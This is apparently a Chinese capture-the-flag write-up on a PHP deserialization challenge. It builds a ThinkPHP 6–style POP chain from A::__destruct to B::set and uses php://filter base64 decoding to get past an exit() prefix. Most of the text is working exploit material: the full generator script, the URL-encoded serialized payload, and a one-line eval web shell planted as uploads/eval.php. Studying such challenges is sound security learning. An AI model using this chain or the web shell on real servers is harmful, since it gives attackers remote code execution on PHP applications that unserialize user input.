涉及知识点
- pop链构造(来自thinkphp 6)
- php://filter
- base64编码规则
思路
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
反序列化GET传来的data字符串,所以找魔法函数,在A类中有:
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
执行本类的save方法:
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
先执行本类的getForStorage方法,赋值给contents,然后store参数调用set方法,而set方法是B类的,因此要让store为一个B类的对象。
追加到set方法:
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
经过对一些变量的处理之后,最终执行file_put_contents写入文件,因此考虑给data写入shell。
然而正常的代码并不行,因为我们的shell前面有exit()退出程序的操作,因此考虑先base64编码后传入shell,再使用filter://协议对总的data进行base64解码,这样shell前面的字符就会因为乱码而失效,即可执行我们的shell。
接下来回溯看$filename和$data是怎么来的:
- $filename:先调用
getCacheKey($name)
,改方法是执行连接字符串的作用:$this->option['prefix'].$name
构成filename。 - $data:来自于
$this->serialize($value)
,所以再关注$value是怎么来的。$value是A::getForStorage()
的返回值:json_encode([A::cleanContents(A::cache), A::complete]);
。
A::cleanContents(A::cache)
实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
其中cleanContents():
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
了解完array_flip()
和array_intersect_key()
的作用之后,可以直接让$cache是空数组,这样不影响到后面$complete我们写入的shell。
尝试本地运行:
<?php
function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
$cache=array();
$complete='<?php @eval($_POST["a"]);?>';
echo json_encode([cleanContents($cache), $complete]);
得到:
[[],"<?php @eval($_POST[\"a\"]);?>"]
可以看到直接complete写入shell会使shell中双引号被转义了,所以得考虑用base64编码绕过转义,再在之后解码。由于之后可以让$this->options['serialize']=base64.decode
,这样和filter://就共有两处解码处理,所以对应这里考虑编码两次。
最终代码:
<?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store,$key,$expire)
{
$this->key=$key;
$this->expire=$expire;
$this->store=$store;
}
}
class B{
public $option;
}
$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';
$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell
echo urlencode(serialize($a));
这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/
这64个字符。
- 编码时:把明文每8位按6位查表转码,不足的位数用
=
补0 - 解码时:忽略
[",:
等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit
21个字符,因此应该在shell前补上3个有效字符。
get传值:
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22option%22%3BN%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A8%3A%22eval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22YWJjUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKaElsMHBPeUEvUGc9PQ%3D%3D%22%3B%7D
执行uploads目录下的eval.php: